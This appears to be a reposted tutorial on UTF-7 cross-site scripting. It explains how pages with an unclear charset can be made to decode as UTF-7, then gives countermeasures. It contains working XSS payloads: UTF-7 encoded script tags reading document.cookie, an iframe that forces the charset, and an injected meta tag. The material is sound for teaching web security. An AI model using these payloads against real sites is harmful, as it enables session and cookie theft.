Cross-site scripting with UTF-7

What is UTF-7?

  • A kind of encoding method of Unicode.
  • Express all Unicode characters by ASCII letters only.
  • Part of symbols are also encoded.

Part of symbols are also encoded.

<div>ABCDE</div>
+ADw-div+AD4-ABCDE+ADw-/div+AD4-

WritingHTML with UTF-7

<html>
<body>
<div>ABCD</div>
</body>
</html>

+ADw-html+AD4-
+ADw-
body+AD4-
+ADw-
div+AD4-ABCD+ADw-/div+AD4-
+ADw-
/body+AD4-
+ADw-
/html+AD4-

<input type="text"value="ABCD">
+ADw-inputtype+ADOAIg-text+ACI- value+ADOAIg-ABCD+ACIAPg-

Targetof attack

Application that a charset is vague is attacked.
Encourage to detect as UTF-7 to browser.

charset is vague

  • HTTP response header
  • <meta http-equiv>

When there is no specification of charset in both, attacker makesa browser judge that is UTF-7.

  • No charset is specified in HTTP response headers.

HTTP/1.1 200 OK
Content-Type: text/html
....
<html><body>...</body></html>

  • No charset is specified in <meta>.

<head>
<meta http-equiv="content-type"content="text/html">
</head>

How toattack

Techniques for recognize as UTF-7

  • Auto Selecting Encoding
  • via iframe of UTF-7
  • unidentifiable charset

Auto Selecting Encoding

When there is a string seems utf-7 and not charset isspecified,UTF-7 is selected automatically.

Recognize as UTF-7 and running the script.

<div>
+ADw-script+AD4-
alert( document.cookie );
+ADw-/script+AD4-
</div>

via iframe of UTF-7

When Janapese text is contained, UTF-7 is not selected byAuto-selecting. Selecting UTF-7 is forced by calling from iframewhich is UTF-7.

<meta http-equiv='content-type'content='text/html;charset=utf-7'>
...
<iframesrc="target.html"></iframe>

Unidentifiable charset

Unrecognizable charset-name by browser is equal to unspecified.
Typical wrong charset names are:

  • Windows-31J/CP932/MS932/MS942C/sjis/jis/utf8

<meta http-equiv='content-type'content='text/html;charset=Windows-31J'>

+ADw-script+AD4-alert(document.cookie);+ADw-/script+AD4-

Insert strings before <meta>

<title>+ADw-/title+AD4-
+ADw-metahttp-equiv+AD0-'content-type'
content+AD0-'text/html+ADs-charset+AD0-utf-7'+AD4-
</title><meta http-equiv='content-type'content='text/html;charset=euc-jp'>

Countermeasure

  • Specify charset clearly(HTTP header is recommended)
  • Don't place the text attacker can control before <meta>

推荐阅读:
http://openmya.hacker.jp/hasegawa/public/20071107/s6/h6.html?file=datae.txt
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值